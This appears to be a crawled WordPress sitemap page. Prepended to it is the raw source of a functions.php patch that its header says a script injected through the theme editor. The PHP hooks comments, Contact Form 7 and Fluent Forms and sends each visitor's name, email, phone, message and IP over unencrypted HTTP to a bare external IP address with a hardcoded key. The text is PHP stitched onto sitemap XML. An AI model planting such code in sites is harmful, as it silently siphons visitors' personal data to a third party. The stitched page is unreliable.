 


/* ============================================================
 * 官网询盘接入筛查岗（自动注入 functions.php 补丁）
 * 由 wp_access 脚本通过 WP 主题编辑器注入，勿手改。
 * 占位符：doubledeckercarosuels.com / b435b921db59423a7b990d964ea1ddd3a89619f6065e6d68
 * ============================================================ */

if (!defined('DSH_SITE_HOST')) { define('DSH_SITE_HOST', 'doubledeckercarosuels.com'); }
if (!defined('DSH_WEBHOOK_URL')) { define('DSH_WEBHOOK_URL', 'http://8.217.174.61/api/v1/screening/webhook/website'); }
if (!defined('DSH_WEBHOOK_KEY')) { define('DSH_WEBHOOK_KEY', 'b435b921db59423a7b990d964ea1ddd3a89619f6065e6d68'); }

if (!function_exists('dsh_client_ip')) {
    function dsh_client_ip() {
        $ip = '';
        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $parts = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            $ip = trim($parts[0]);
        } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        $ip = trim((string) $ip);
        if (preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $ip)) { return $ip; }
        return '';
    }
}

if (!function_exists('dsh_auth_header')) {
    function dsh_auth_header() {
        $k = defined('DSH_WEBHOOK_KEY') ? DSH_WEBHOOK_KEY : '';
        return ($k === '') ? array() : array('X-Yoto-Screening-Key' => $k);
    }
}

if (!function_exists('dsh_push_comment_to_screening')) {
    function dsh_push_comment_to_screening($comment_id, $comment = null) {
        if ($comment && !empty($comment->comment_type) && $comment->comment_type !== 'comment') { return; }
        if (!$comment) { $comment = get_comment($comment_id); }
        if (!$comment) { return; }
        $post_id = (int) $comment->comment_post_ID;
        $tel = get_comment_meta($comment_id, 'tel', true);
        if (is_array($tel)) { $tel = reset($tel); }
        if (empty($tel) && !empty($comment->comment_author_url)) {
            $tel = preg_replace('#^https?://#i', '', $comment->comment_author_url);
        }
        $payload = array(
            'author' => $comment->comment_author,
            'email' => $comment->comment_author_email,
            'tel' => (string) $tel,
            'comment' => $comment->comment_content,
            'comment_post_ID' => (string) $post_id,
            'comment_id' => (string) $comment_id,
            'product' => $post_id ? get_the_title($post_id) : '',
            'product_page' => $post_id ? get_permalink($post_id) : '',
            'permalink' => $post_id ? get_permalink($post_id) : '',
            'ip' => dsh_client_ip(),
        );
        wp_remote_post(DSH_WEBHOOK_URL, array(
            'method' => 'POST', 'timeout' => 3, 'redirection' => 2, 'blocking' => true,
            'headers' => array_merge(
                array('Content-Type' => 'application/json', 'X-Site-Host' => DSH_SITE_HOST),
                dsh_auth_header()
            ),
            'body' => wp_json_encode($payload),
        ));
    }
    add_action('wp_insert_comment', 'dsh_push_comment_to_screening', 10, 2);
}

if (!function_exists('dsh_push_cf7_to_screening')) {
    function dsh_push_cf7_to_screening($arg1, $arg2 = null) {
        try {
            $contact_form = ($arg2 !== null) ? $arg2 : $arg1;
            $submission = class_exists('WPCF7_Submission') ? WPCF7_Submission::get_instance() : null;
            if ($submission) {
                $data = $submission->get_posted_data();
                if (is_array($data)) {
                    $used = array();
                    $firstFilled = function ($v) {
                        if (!is_array($v)) { return trim((string) $v); }
                        foreach ($v as $item) { $s = trim((string) $item); if ($s !== '') { return $s; } }
                        return '';
                    };
                    $pick = function ($keys, $default = '') use ($data, &$used, $firstFilled) {
                        foreach ((array) $keys as $k) {
                            if (isset($data[$k]) && $data[$k] !== '') {
                                $v = $firstFilled($data[$k]);
                                if ($v === '') { continue; }
                                $used[$k] = true; return $v;
                            }
                        }
                        return $default;
                    };
                    $pickLike = function ($pattern) use ($data, &$used, $firstFilled) {
                        foreach ($data as $k => $raw) {
                            $k = (string) $k;
                            if ($k === '' || $k[0] === '_' || isset($used[$k])) { continue; }
                            if (!preg_match($pattern, $k)) { continue; }
                            $v = $firstFilled($raw);
                            if ($v === '') { continue; }
                            $used[$k] = true; return $v;
                        }
                        return '';
                    };
                    $name  = $pick(['your-name','name','nombre','nome','имя','姓名']) ?: $pickLike('/name|nombre|nome|имя|姓名|contact/i');
                    $email = $pick(['your-email','email','e-mail','correo','почта','邮箱']) ?: $pickLike('/e-?mail|correo|courriel|почт|邮箱/i');
                    $phone = $pick(['your-whatsapp','your-phone','phone','tel','telefono','teléfono']) ?: $pickLike('/phone|telephone|whatsapp|mobile|movil|móvil|celular|телефон|手机|电话/i');
                    $msg   = $pick(['your-message','message','mensaje','сообщени','留言']) ?: $pickLike('/message|mensaje|comment|question|inquiry|requirement|сообщени|вопрос|留言|咨询/i');
                    $subj  = $pick(['your-subject','subject']);
                    $prod  = $pick(['your-productname','product']);
                    $page  = $pick(['your-producturl','producturl','product_url']);
                    $country = $pick(['your-country','country']) ?: $pickLike('/country/i');
                    if ($msg === '' && $subj !== '') { $msg = $subj; }
                    elseif ($msg !== '' && $subj !== '' && stripos($msg, $subj) === false) { $msg = $subj . '|' . $msg; }
                    $extra = array();
                    foreach (array('budget' => $pickLike('/budget/i'), 'size' => $pickLike('/size/i'), 'company' => $pickLike('/company/i')) as $label => $val) {
                        if ($val !== '') { $extra[] = $label . ': ' . $val; }
                    }
                    if (!empty($extra)) { $msg = ($msg !== '' ? $msg . "\n" : '') . implode("\n", $extra); }
                    if ($msg !== '' || $name !== '' || $email !== '' || $phone !== '') {
                        $payload = array(
                            'name' => $name, 'email' => $email, 'phone' => $phone, 'message' => $msg,
                            'product' => $prod, 'product_page' => $page, 'country' => $country,
                            'comment_id' => 'cf7-' . uniqid(), 'ip' => dsh_client_ip(),
                        );
                        wp_remote_post(DSH_WEBHOOK_URL, array(
                            'method' => 'POST', 'timeout' => 3, 'redirection' => 2, 'blocking' => true,
                            'headers' => array_merge(
                                array('Content-Type' => 'application/json', 'X-Site-Host' => DSH_SITE_HOST),
                                dsh_auth_header()
                            ),
                            'body' => wp_json_encode($payload),
                        ));
                    }
                }
            }
        } catch (\Throwable $e) {}
        return $arg1;
    }
    add_filter('wpcf7_before_send_mail', 'dsh_push_cf7_to_screening', 10, 2);
}

if (!function_exists('dsh_push_fluentform_to_screening')) {
    function dsh_push_fluentform_to_screening($entryId, $formData, $form) {
        if (!is_array($formData) || empty($formData)) { return; }
        $find = function ($patterns) use ($formData) {
            foreach ($formData as $k => $v) {
                if (is_array($v)) { $v = reset($v); }
                if ($v === '' || $v === null) { continue; }
                foreach ((array) $patterns as $p) {
                    if (preg_match($p, (string) $k)) { return trim((string) $v); }
                }
            }
            return '';
        };
        $email = $find(['/email/i']);
        $phone = $find(['/phone/i','/whatsapp/i','/tel/i','/mobile/i']);
        $name  = $find(['/name/i']);
        if ($name === '') { $name = $find(['/^input_text$/i','/^input_text_0$/i']); }
        $lines = array();
        foreach ($formData as $k => $v) {
            if (is_array($v)) { $v = reset($v); }
            if ($v === '' || $v === null) { continue; }
            $key = (string) $k;
            if (preg_match('/email/i', $key)) { continue; }
            if (preg_match('/phone|whatsapp|tel|mobile/i', $key)) { continue; }
            if (preg_match('/name/i', $key)) { continue; }
            if ($key === 'input_text' || $key === 'input_text_0') { continue; }
            if (preg_match('/^_|_wpnonce|form_id|_token|csrf|honeypot|_wp_http_referer|g-recaptcha|nonce/i', $key)) { continue; }
            $lines[] = $key . ': ' . trim((string) $v);
        }
        $message = implode("\n", $lines);
        if ($message === '' && $name === '' && $email === '' && $phone === '') { return; }
        $payload = array(
            'name' => $name, 'email' => $email, 'phone' => $phone, 'message' => $message,
            'comment_id' => 'fluent-' . $entryId, 'ip' => dsh_client_ip(),
        );
        wp_remote_post(DSH_WEBHOOK_URL, array(
            'method' => 'POST', 'timeout' => 3, 'redirection' => 2, 'blocking' => true,
            'headers' => array_merge(
                array('Content-Type' => 'application/json', 'X-Site-Host' => DSH_SITE_HOST),
                dsh_auth_header()
            ),
            'body' => wp_json_encode($payload),
        ));
    }
    add_action('fluentform_submission_inserted', 'dsh_push_fluentform_to_screening', 10, 3);
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.doubledeckercarosuels.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://www.doubledeckercarosuels.com/post-sitemap.xml</loc>
		<lastmod>2025-07-07T05:58:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.doubledeckercarosuels.com/page-sitemap.xml</loc>
		<lastmod>2025-08-01T02:35:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.doubledeckercarosuels.com/category-sitemap.xml</loc>
		<lastmod>2025-07-07T05:58:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.doubledeckercarosuels.com/author-sitemap.xml</loc>
		<lastmod>2025-07-29T09:44:36+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->